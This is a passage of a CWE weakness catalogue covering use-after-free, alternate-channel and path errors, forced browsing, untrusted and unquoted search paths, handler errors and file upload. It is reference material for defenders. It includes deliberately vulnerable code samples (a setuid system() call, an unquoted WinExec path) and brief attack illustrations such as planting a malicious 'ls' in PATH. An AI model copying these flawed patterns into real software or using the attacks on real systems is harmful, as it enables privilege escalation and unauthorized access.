The use of previously freed memory can have any number of adverse consequences -- ranging from the corruption of valid data to the execution of arbitrary code, depending on the instantiation and timing of the flaw. The simplest way data corruption may occur involves the system's reuse of the freed memory. Like double free errors and memory leaks, use after free errors have two common and sometimes overlapping causes: - Error conditions and other exceptional circumstances. - Confusion over which part of the program is responsible for freeing the memory. In this scenario, the memory in question is allocated to another pointer validly at some point after it has been freed. The original pointer to the freed memory is used again and points to somewhere within the new allocation. As the data is changed, it corrupts the validly used memory; this induces undefined behavior in the process. If the newly allocated data chances to hold a class, in C++ for example, various function pointers may be scattered within the heap data. If one of these function pointers is overwritten with an address to valid shellcode, execution of arbitrary code can be achieved.

Relationships

Nature	Type	ID	Name	V	Page
CanPrecede		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1000	148
CanPrecede	We	123	Write-what-where Condition	1000	154
ChildOf	Wc	398	Indicator of Poor Code Quality	**700**	423
ChildOf	C	399	Resource Management Errors	**699**	424
ChildOf	C	633	Weaknesses that Affect Memory	**631**	615
ChildOf	We	672	Use of a Resource after Expiration or Release	**1000**	660
ChildOf	C	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	**734**	727
PeerOf	We	*364*	*Signal Handler Race Condition*	*1000*	*388*
PeerOf	Wv	*415*	*Double Free*	***699*** *1000*	*442*
MemberOf	V	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*

Affected Resources

- Memory

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Use After Free
CLASP		Using freed memory
CERT C Secure Coding	MEM00-C	Allocate and free memory in the same module, at the same level of abstraction
CERT C Secure Coding	MEM01-C	Store a new value in pointers immediately after free()
CERT C Secure Coding	MEM30-C	Do not access freed memory

White Box Definitions

A weakness where code path has:

1. start statement that relinquishes a dynamically allocated memory resource
2. end statement that accesses the dynamically allocated memory resource

CWE-417: Channel and Path Errors

Category ID: 417 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper handling of communication channels and access paths.

Applicable Platforms

Languages

- All

Other Notes

A number of vulnerabilities are specifically related to problems in creating, managing, or removing alternate channels and alternate paths. Some of these can overlap virtual file problems, and they are commonly used in "bypass" attacks, such as those that exploit authentication errors.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	18	Source Code	**699**	13
ChildOf	C	399	Resource Management Errors	699	424
ParentOf	C	*418*	*Channel Errors*	***699***	*447*
ParentOf	W	*424*	*Failure to Protect Alternate Path*	***699***	*451*
ParentOf	B	*426*	*Untrusted Search Path*	***699***	*453*
ParentOf	W	*427*	*Uncontrolled Search Path Element*	***699***	*456*
ParentOf	W	*428*	*Unquoted Search Path or Element*	***699***	*457*

Research Gaps

Most of these issues are probably under-studied. Only a handful of public reports exist.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER	CHAP.VIRTCHAE	Channel and Path Errors

CWE-418: Channel Errors

Category ID: 418 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper handling of communication channels.

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	417	Channel and Path Errors	**699**	447
ParentOf	W	*419*	*Unprotected Primary Channel*	***699***	*448*
ParentOf	W	*420*	*Unprotected Alternate Channel*	***699***	*448*
ParentOf	W	*441*	*Unintended Proxy/Intermediary*	***699***	*467*
ParentOf	W	*514*	*Covert Channel*	*699*	*533*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Channel Errors

CWE-419: Unprotected Primary Channel

Weakness ID: 419 *(Weakness Base)* **Status:** Draft

Description

Summary

The software uses a primary channel for administration or restricted functionality, but it does not properly protect the channel.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Do not expose administrative functionnality on the user UI.

Protect the administrative/restricted functionallities with strong authentication mechanism.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	418	Channel Errors	**699**	447
ChildOf	Wc	668	Exposure of Resource to Wrong Sphere	**1000**	658

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unprotected Primary Channel

CWE-420: Unprotected Alternate Channel

Weakness ID: 420 *(Weakness Base)* **Status:** Draft

Description

Summary

The software protects a primary channel, but it does not use the same level of protection for an alternate channel.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0066	Windows named pipe created without authentication/access control, allowing configuration modification.
CVE-2002-0567	DB server assumes that local clients have performed authentication, allowing attacker to directly connect to a process to load libraries and execute commands; a socket interface also exists (another alternate channel), so attack can be remote.
CVE-2002-1578	Product does not restrict access to underlying database, so attacker can bypass restrictions by directly querying the database.
CVE-2002-1863	FTP service can not be disabled even when other access controls would require it.
CVE-2003-1035	User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing.
CVE-2004-1461	Router management interface spawns a separate TCP connection after authentication, allowing hijacking by attacker coming from the same IP address.

Potential Mitigations

Malicious users are likely to attack the weakest link.

Deploy different layers of protection to implement security in depth.

Architecture and Design

Identify all alternate channels and use the same protection mechanisms as you do for the primary channels.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	418	Channel Errors	**699**	447
ChildOf	Wc	668	Exposure of Resource to Wrong Sphere	**1000**	658
PeerOf	We	*288*	*Authentication Bypass Using an Alternate Path or Channel*	*1000*	*314*
ParentOf	We	*421*	*Race Condition During Access to Alternate Channel*	***699 1000***	*449*
ParentOf	Wv	*422*	*Unprotected Windows Messaging Channel ('Shatter')*	***699 1000***	*450*

Relationship Notes

This can be primary to authentication errors, and resultant from unhandled error conditions.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unprotected Alternate Channel

CWE-421: Race Condition During Access to Alternate Channel

Weakness ID: 421 *(Weakness Base)* **Status:** Draft

Description

Summary

The product opens an alternate channel to communicate with an authorized user, but the channel is accessible to other actors.

Extended Description

This creates a race condition that allows an attacker to access the channel before the authorized user does.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-1999-0351	FTP "Pizza Thief" vulnerability. Attacker can connect to a port that was intended for use by another client.
CVE-2003-0230	Product creates Windows named pipe during authentication that another attacker can hijack by connecting to it.

Potential Mitigations

Protect access to resources. Enforce an authentication check on every transaction.

Other Notes

Predictability can be a factor in some issues.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	362	Race Condition	699 1000	383
ChildOf	We	420	Unprotected Alternate Channel	**699 1000**	448
ChildOf	C	634	Weaknesses that Affect System Processes	**631**	616

Affected Resources

- System Process

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Alternate Channel Race Condition

References

Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". April 2002. < http://www.blakewatts.com/namedpipepaper.html >.

CWE-422: Unprotected Windows Messaging Channel ('Shatter')

Weakness ID: 422 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software does not properly verify the source of a message in the Windows Messaging System while running at elevated privileges, creating an alternate channel through which an attacker can directly send a message to the product.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0971	Bypass GUI and access restricted dialog box.
CVE-2002-1230	Gain privileges via Windows message.
CVE-2003-0350	A control allows a change to a pointer for a callback function using Windows message.
CVE-2003-0908	Product launches Help functionality while running with raised privileges, allowing command execution using Windows message to access "open file" dialog.
CVE-2004-0207	User can call certain API functions to modify certain properties of privileged programs.
CVE-2004-0213	Attacker uses Shatter attack to bypass GUI-enforced protection for CVE-2003-0908.

Potential Mitigations

Always verify and authenticate the source of the message.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	360	Trust of System Event Data	1000	381
ChildOf	We	420	Unprotected Alternate Channel	**699** **1000**	448
ChildOf	C	634	Weaknesses that Affect System Processes	**631**	616

Relationship Notes

Overlaps privilege errors and UI errors.

Research Gaps

Possibly under-reported, probably under-studied. It is suspected that a number of publicized vulnerabilities that involve local privilege escalation on Windows systems may be related to Shatter attacks, but they are not labeled as such.

Alternate channel attacks likely exist in other operating systems and messaging models, e.g. in privileged X Windows applications, but examples are not readily available.

Affected Resources

- System Process

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unprotected Windows Messaging Channel ('Shatter')

References

Paget. "Exploiting design flaws in the Win32 API for privilege escalation. Or... Shatter Attacks - How to break Windows". August, 2002. < http://web.archive.org/web/20060115174629/http://security.tombom.co.uk/shatter.html >.

CWE-423: DEPRECATED (Duplicate): Proxied Trusted Channel

Weakness ID: 423 *(Deprecated Weakness Base)* **Status:** Deprecated

Description

Summary

This entry has been deprecated because it was a duplicate of CWE-441. All content has been transferred to CWE-441.

Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	*604*	*Deprecated Entries*	***604***	*593*

CWE-424: Failure to Protect Alternate Path

Weakness ID: 424 *(Weakness Class)* **Status:** Draft

Description

Summary

The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Potential Mitigations

Malicious users are likely to attack the weakest link.

Deploy different layers of protection to implement security in depth.

Other Notes

This is partially covered by other categories.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	417	Channel and Path Errors	**699**	447
ChildOf	Wc	638	Failure to Use Complete Mediation	**1000**	620
ChildOf	Wc	693	Protection Mechanism Failure	1000	684
ParentOf	Wb	*425*	*Direct Request ('Forced Browsing')*	***699*** *1000*	*451*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Alternate Path Errors

CWE-425: Direct Request ('Forced Browsing')

Weakness ID: 425 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The web application fails to adequately enforce appropriate authorization on all restricted URLs, scripts or files.

Extended Description

Web applications susceptible to direct request attacks often make the false assumption that such resources can only be reached through a given navigation path and so only apply authorization at certain points in the path.

Alternate Terms

forced browsing

The "forced browsing" term could be misinterpreted to include weaknesses such as CSRF or XSS, so its use is discouraged.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Demonstrative Examples

If forced browsing is possible, an attacker may be able to directly access a sensitive page by entering a URL similar to the following.

JSP Example: *Attack*

```
http://somesite.com/someapplication/admin.jsp
```

Observed Examples

Reference	Description
CVE-2002-1798	Upload arbitrary files via direct request.
CVE-2004-2144	Bypass authentication via direct request.
CVE-2004-2257	Bypass auth/auth via direct request.
CVE-2005-1654	Authorization bypass using direct request.
CVE-2005-1668	Access privileged functionality using direct request.
CVE-2005-1685	Authentication bypass via direct request.
CVE-2005-1688	Direct request leads to infoleak by error.
CVE-2005-1697	Direct request leads to infoleak by error.
CVE-2005-1698	Direct request leads to infoleak by error.
CVE-2005-1827	Authentication bypass via direct request.
CVE-2005-1892	Infinite loop or infoleak triggered by direct requests.

Potential Mitigations

Apply appropriate access control authorizations for each access to all restricted URLs, scripts or files.

Consider using MVC based frameworks such as Struts.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		288	Authentication Bypass Using an Alternate Path or Channel	699 **1000**	314
ChildOf		424	Failure to Protect Alternate Path	**699** 1000	451
CanPrecede		471	Modification of Assumed-Immutable Data (MAID)	1000	492
ChildOf		721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	**629**	715
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	716
ChildOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716
RequiredBy		*98*	*Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')*	*1000*	*116*
PeerOf		*288*	*Authentication Bypass Using an Alternate Path or Channel*	*1000*	*314*

Relationship Notes

Overlaps Modification of Assumed-Immutable Data (MAID), authorization errors, container errors; often primary to other weaknesses such as XSS and SQL injection.

Theoretical Notes

"Forced browsing" is a step-based manipulation involving the omission of one or more steps, whose order is assumed to be immutable. The application does not verify that the first step was performed successfully before the second step. The consequence is typically "authentication bypass" or "path disclosure," although it can be primary to all kinds of weaknesses, especially in languages such as PHP, which allow external modification of assumed-immutable variables.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Direct Request aka 'Forced Browsing'
OWASP Top Ten 2007	A10	CWE More Specific	Failure to Restrict URL Access
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
87	Forceful Browsing	

CWE-426: Untrusted Search Path

Compound Element ID: 426 *(Compound Element Base: Composite)* **Status:** Draft

Description

Summary

The application searches for critical resources using an externally-supplied search path that can point to resources that are not under the application's direct control.

Extended Description

This might allow attackers to execute their own programs, access unauthorized data files, or modify configuration in unexpected ways. If the application uses a search path to locate critical resources such as programs, then an attacker could modify that search path to point to a malicious program, which the targeted application would then execute. The problem extends to any type of critical resource that the application trusts.

Alternate Terms

Untrusted Path

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Operating Systems

- All

Common Consequences

Authorization

Integrity

There is the potential for arbitrary code execution with privileges of the vulnerable program.

Availability

The program could be redirected to the wrong files, potentially triggering a crash or hang when the targeted file is too large or does not have the expected format.

Confidentiality

The program could send the output of unauthorized files to the attacker.

Likelihood of Exploit

High

Demonstrative Examples

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

C Example: *Bad Code*

```
#define DIR "/restricted/directory"
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
...
```

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

PseudoCode Example: *Attack*

The user sets the PATH to reference a directory under that user's control, such as "/my/dir/".
The user creates a malicious program called "ls", and puts that program in /my/dir
The user executes the program.
When system() is executed, the shell consults the PATH to find the ls program
The program finds the malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".
The program executes the malicious program with the raised privileges.

Observed Examples

Reference	Description
CVE-1999-1120	Application relies on its PATH environment variable to find and execute program.
CVE-2007-2027	Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages.
CVE-2008-1319	Server allows client to specify the search path, which can be modified to point to a program that the client has uploaded.
CVE-2008-1810	Database application relies on its PATH environment variable to find and execute program.
CVE-2008-2613	setuid program allows compromise using path that finds and loads a malicious library.
CVE-2008-3485	Untrusted search path using malicious .EXE in Windows environment.

Potential Mitigations

Architecture and Design

Hard-code your search path to a set of known-safe values, or allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-427 and CWE-428.

Implementation

When invoking other programs, specify those programs using fully-qualified pathnames.

Implementation

Sanitize your environment before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH and other settings that identify the location of code libraries, and any application-specific search paths.

Implementation

Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory.

Implementation

Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of it, while execl() and execv() require a full path.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Testing

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and look for library functions and system calls that suggest when a search path is being used. One pattern is when the program performs multiple accesses of the same file but in different directories, with repeated failures until the proper filename is found. Library calls such as getenv() or their equivalent can be checked to see if any path-related variables are being accessed.

Relationships

Nature	Type	ID	Name	V	Page
Requires	Weakness	216	Containment Errors (Container Errors)	1000	246
Requires	Category	275	Permission Issues	1000	302
ChildOf	Category	417	Channel and Path Errors	**699**	447
Requires	Weakness	471	Modification of Assumed-Immutable Data (MAID)	1000	492
ChildOf	Category	634	Weaknesses that Affect System Processes	**631**	616
ChildOf	Weakness	642	External Control of Critical State Data	**1000**	625
ChildOf	Weakness	673	External Influence of Sphere Definition	1000	661
ChildOf	Category	744	CERT C Secure Coding Section 10 - Environment (ENV)	**734**	729
ChildOf	Category	752	Risky Resource Management	**750**	733
CanAlsoBe	Compound	*98*	*Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')*	*1000*	*116*

Research Gaps

Search path issues on Windows are under-studied and possibly under-reported.

Affected Resources

- System Process

Functional Areas

- Program invocation
- Code libraries

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Untrusted Search Path
CLASP		Relative path library search
CERT C Secure Coding	ENV03-C	Sanitize the environment when invoking external programs

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
38	Leveraging/Manipulating Configuration File Search Paths	

CWE-427: Uncontrolled Search Path Element

Weakness ID: 427 *(Weakness Base)* **Status:** Draft

Description

Summary

One or more locations in a static search path is under control of the attacker.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-1999-0690	
CVE-1999-1318	
CVE-1999-1461	
CVE-2000-0854	
CVE-2000-1128	
CVE-2001-0289	Product searches current working directory for configuration file.
CVE-2001-0507	
CVE-2001-0912	Error during packaging causes product to include a hard-coded, non-standard directory in search path.
CVE-2001-0942	
CVE-2001-0943	
CVE-2002-1576	
CVE-2002-2017	
CVE-2002-2040	Untrusted path.
CVE-2003-0579	
CVE-2005-1307	Product executable other program from current working directory.
CVE-2005-1632	Product searches /tmp for modules before other paths.
CVE-2005-1705	Product searches current working directory for configuration file.
CVE-2005-2072	Modification of trusted environment variable leads to untrusted path vuln.

Potential Mitigations

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy.

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Other Notes

PHP file inclusion is an instance of this (see PHP-specific issues); trusted environment variables is another.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		417	Channel and Path Errors	**699**	447
ChildOf	Wc	664	Improper Control of a Resource Through its Lifetime	**1000**	652

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Uncontrolled Search Path Element

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
38	Leveraging/Manipulating Configuration File Search Paths	

CWE-428: Unquoted Search Path or Element

Weakness ID: 428 *(Weakness Base)* **Status:** Draft

Description

Summary

The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

C/C++ Example: *Bad Code*

```
UINT errCode = WinExec( "C:\\Program Files\\Foo\\Bar", SW_SHOW );
```

Observed Examples

Reference	Description
CVE-2000-1128	Applies to "Common Files" folder, with a malicious common.exe, instead of "Program Files"/program.exe.
CVE-2005-1185	Small handful of others. Program doesn't quote the "C:\Program Files\" path when calling a program to be executed - or any other path with a directory or file whose name contains a space - so attacker can put a malicious program.exe into C:.
CVE-2005-2938	CreateProcess() and CreateProcessAsUser() can be misused by applications to allow "program.exe" style attacks in C:

Potential Mitigations

Software should quote the input data that can be potentially executed on a system.

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data to be diplayed or stored. Use an "accept known good" validation strategy. Input (specifically, unexpected CRLFs) that is not appropriate should not be processed into HTTP headers.

Do not rely exclusively on blacklist validation to detect malicious input or to encode output. There are too many variants to encode a character; you're likely to miss some variants.

Inputs should be decoded and canonicalized to the application's current internal representation before being validated. Make sure that your application does not decode the same input twice. Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked.

Other Notes

Fault: missing quoting

Design Limitation: whitespace allowed in identifiers.

If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as "C:\Program.exe" to be run by a privileged program making use of WinExec.

This theoretically could apply to other OSes besides Windows, especially those that make it easy for spaces to be in files or folders.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		417	Channel and Path Errors	**699**	447
ChildOf	Wc	664	Improper Control of a Resource Through its Lifetime	**1000**	652

Research Gaps

Under-studied, probably under-reported.

Functional Areas

- Program invocation

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unquoted Search Path or Element

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
38	Leveraging/Manipulating Configuration File Search Paths	

CWE-429: Handler Errors

Category ID: 429 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper management of handlers.

Other Notes

May be resultant

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		18	Source Code	**699**	13
ParentOf		*430*	*Deployment of Wrong Handler*	***699***	*458*
ParentOf		*431*	*Missing Handler*	***699***	*459*
ParentOf		*432*	*Dangerous Handler not Disabled During Sensitive Operations*	***699***	*460*
ParentOf		*433*	*Unparsed Raw Web Content Delivery*	***699***	*460*
ParentOf		*434*	*Unrestricted File Upload*	***699***	*461*
ParentOf		*479*	*Unsafe Function Call from a Signal Handler*	*699*	*502*
ParentOf		*616*	*Incomplete Identification of Uploaded File Variables (PHP)*	***699***	*601*

Research Gaps

This concept is under-defined and needs more research.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Handler Errors

CWE-430: Deployment of Wrong Handler

Weakness ID: 430 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The wrong "handler" is assigned to process an object.

Extended Description

An example of deploying the wrong handler would be calling a servlet to reveal source code of a .JSP file, or automatically "determining" type of the object even if it is contradictory to an explicitly specified type.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-1052	Source code disclosure by directly invoking a servlet.
CVE-2001-0004	Source code disclosure via manipulated file extension that causes parsing by wrong DLL.

Reference	Description
CVE-2002-0025	Web browser does not properly handle the Content-Type header field, causing a different application to process the document.
CVE-2002-1742	Arbitrary Perl functions can be loaded by calling a non-existent function that activates a handler.

Potential Mitigations

Perform a type check before interpreting an object.

Architecture and Design

Reject any inconsistent types, such as a file with a .GIF extension that appears to consist of PHP code.

Other Notes

Factors: usually resultant.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		429	Handler Errors	**699**	458
CanPrecede		433	Unparsed Raw Web Content Delivery	**1000**	460
PeerOf		434	Unrestricted File Upload	1000	461
ChildOf		691	Insufficient Control Flow Management	**1000**	682

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Improper Handler Deployment

CWE-431: Missing Handler

Weakness ID: 431 *(Weakness Base)* **Status:** Draft

Description

Summary

A handler is not available or implemented.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

If a Servlet fails to catch all exceptions, it may reveal debugging information that will help an adversary form a plan of attack. In the following method a DNS lookup failure will cause the Servlet to throw an exception.

Bad Code

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
  String ip = req.getRemoteAddr();
  InetAddress addr = InetAddress.getByName(ip);
  ...
  out.println("hello " + addr.getHostName());
}
```

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker.

Potential Mitigations

Handle all possible situations (e.g. error condition).

If an operation can throw an Exception, implement a handler for that specific exception.

Other Notes

When an exception is thrown and not caught, the process has given up an opportunity to decide if a given failure or event is worth a change in execution.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	429	Handler Errors	**699**	458
CanPrecede	Wv	433	Unparsed Raw Web Content Delivery	**1000**	460
ChildOf	Wc	691	Insufficient Control Flow Management	**1000**	682

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Missing Handler

CWE-432: Dangerous Handler not Disabled During Sensitive Operations

Weakness ID: 432 *(Weakness Base)* **Status:** Draft

Description

Summary

The application does not properly clear or disable dangerous handlers during sensitive operations.

Extended Description

Not disabling a dangerous handler might allow an attacker to invoke the handler at unexpected times. This can cause the software to enter an invalid state.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Turn off dangerous handlers when performing sensitive operations.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	429	Handler Errors	**699**	458
ChildOf	Wc	691	Insufficient Control Flow Management	**1000**	682

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Dangerous handler not cleared/disabled during sensitive operations

CWE-433: Unparsed Raw Web Content Delivery

Weakness ID: 433 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software stores raw content or supporting code under the web document root with an extension that is not specifically handled by the server, resulting in an information leak.

Extended Description

If code is stored in a file with an extension such as ".inc" or ".pl", and the web server does not have a handler for that extension, then the server will likely send the contents of the file directly to the requester without the pre-processing that was expected. When that file contains sensitive information such as database credentials, this will result in an information leak that allows the attacker to compromise the application or associated components.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-0330	direct request to .pl file leaves it unparsed
CVE-2002-0614	.inc file
CVE-2002-1886	".inc" file stored under web document root and returned unparsed by the server
CVE-2002-2065	".inc" file stored under web document root and returned unparsed by the server
CVE-2004-2353	unparsed config.conf file
CVE-2005-2029	".inc" file stored under web document root and returned unparsed by the server
CVE-2007-3365	Chain: uppercase file extensions causes web server to return script source code instead of executing the script.
SECUNIA:11394	".inc" file stored under web document root and returned unparsed by the server

Potential Mitigations

Clean up debug code before deploying the application.

Perform a type check before interpreting files.

Do not store sentitive information in files which may be misinterpreted, causing a possible information leak.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WM	219	Sensitive Data Under Web Root	**1000**	249
ChildOf	C	429	Handler Errors	**699**	458
CanFollow	WE	*178*	*Failure to Resolve Case Sensitivity*	*1000*	*206*
CanFollow	WE	*430*	*Deployment of Wrong Handler*	***1000***	*458*
CanFollow	WE	*431*	*Missing Handler*	***1000***	*459*

Relationship Notes

This overlaps direct requests (CWE-425), alternate path (CWE-424), permissions (CWE-275), and sensitive file under web root (CWE-219).

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unparsed Raw Web Content Delivery

CWE-434: Unrestricted File Upload

Compound Element ID: 434 *(Compound Element Base: Composite)* **Status:** Draft

Description

Summary

The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.

Alternate Terms

File Upload of Dangerous Type

Formerly called "File Upload of Dangerous Type"

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-0901	Web-based mail product stores ".shtml" attachments that could contain SSI
CVE-2002-1841	PHP upload does not restrict file types
CVE-2004-2262	improper type checking of uploaded files
CVE-2005-0254	program does not restrict file types
CVE-2005-1868	upload and execution of .php file

Reference	Description
CVE-2005-1881	upload file with dangerous extension
CVE-2005-3288	ASP file upload
CVE-2006-2428	ASP file upload
CVE-2006-4558	Double "php" extension leaves an active php extension in the generated filename.
CVE-2006-6994	ASP program allows upload of .asp files by bypassing client-side checks

Potential Mitigations

Determine the size and type of files that users are expected to upload to your system. Take measures to assure that the files meet those requirements.

Other Notes

This can have a chaining relationship with incomplete blacklist / permissive whitelist errors when the product tries, but fails, to properly limit which types of files are allowed.

This can also overlap multiple interpretation errors for intermediaries, e.g. anti-virus products that do not filter attachments with certain file extensions that can be processed by client systems.

This can be primary when there is no check at all. If is frequently resultant when use of double extensions (e.g. ".php.gif") bypass sanity checks. Also resultant from client-side enforcement; some products will include web script in web clients to check the filename, without verifying on the server side.

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	Wa	183	Permissive Whitelist	1000	211
PeerOf	Wa	184	Incomplete Blacklist	1000	212
PeerOf	Wc	216	Containment Errors (Container Errors)	1000	246
Requires	Wa	351	Insufficient Type Distinction	1000	372
ChildOf	C	429	Handler Errors	**699**	458
PeerOf	Wa	430	Deployment of Wrong Handler	1000	458
Requires	Wa	436	Interpretation Conflict	1000	463
PeerOf	Wa	436	Interpretation Conflict	1000	463
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ChildOf	Wc	669	Incorrect Resource Transfer Between Spheres	**1000**	659
ChildOf	C	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	**629**	713
CanFollow	Wc	*73*	*External Control of File Name or Path*	*1000*	*67*
CanFollow	Wa	*184*	*Incomplete Blacklist*	*1000*	*212*

Research Gaps

PHP applications are most targeted, but this likely applies to other languages that support file upload, as well as non-web technologies. ASP applications have also demonstrated this problem.

